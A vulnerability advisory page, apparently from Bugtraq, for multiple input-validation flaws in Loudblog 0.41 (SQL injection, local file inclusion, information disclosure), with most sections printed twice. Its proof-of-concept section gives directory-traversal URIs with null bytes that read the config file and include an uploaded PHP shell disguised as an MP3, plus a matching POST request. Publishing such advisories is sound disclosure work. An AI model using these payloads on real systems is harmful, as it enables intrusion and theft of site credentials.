Loudblog Multiple Input Validation Vulnerabilities
BID:17023
Info
Loudblog Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 17023 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 07 2006 12:00AM |
| Updated: | Mar 10 2006 02:40AM |
| Credit: | [email protected] is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
LoudBlog LoudBlog 0.41 |
| Not Vulnerable: | |
Discussion
Loudblog Multiple Input Validation Vulnerabilities
Loudblog is prone to multiple input-validation vulnerabilities:
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Other attacks may also be possible.
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.
Loudblog is prone to multiple input-validation vulnerabilities:
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Other attacks may also be possible.
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.
Exploit / POC
Loudblog Multiple Input Validation Vulnerabilities
These issues could be exploited with a web client.
The following examples demonstrate exploiting these issues:
Example URIs:
http://www.example.com/loudblog/podcast.php?id=[SQL]
http://www.example.com/loudblog/index.php?template=../../../loudblog/custom/config.php%00
http://www.example.com/loudblog/loudblog/index.php?page=/../../../audio/cmdphp.mp3%00
Example POST data:
POST /loudblog/loudblog/inc/backend_settings.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
language=../../../index
These issues could be exploited with a web client.
The following examples demonstrate exploiting these issues:
Example URIs:
http://www.example.com/loudblog/podcast.php?id=[SQL]
http://www.example.com/loudblog/index.php?template=../../../loudblog/custom/config.php%00
http://www.example.com/loudblog/loudblog/index.php?page=/../../../audio/cmdphp.mp3%00
Example POST data:
POST /loudblog/loudblog/inc/backend_settings.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
language=../../../index
Solution / Fix
Loudblog Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
Loudblog Multiple Input Validation Vulnerabilities
References:
References: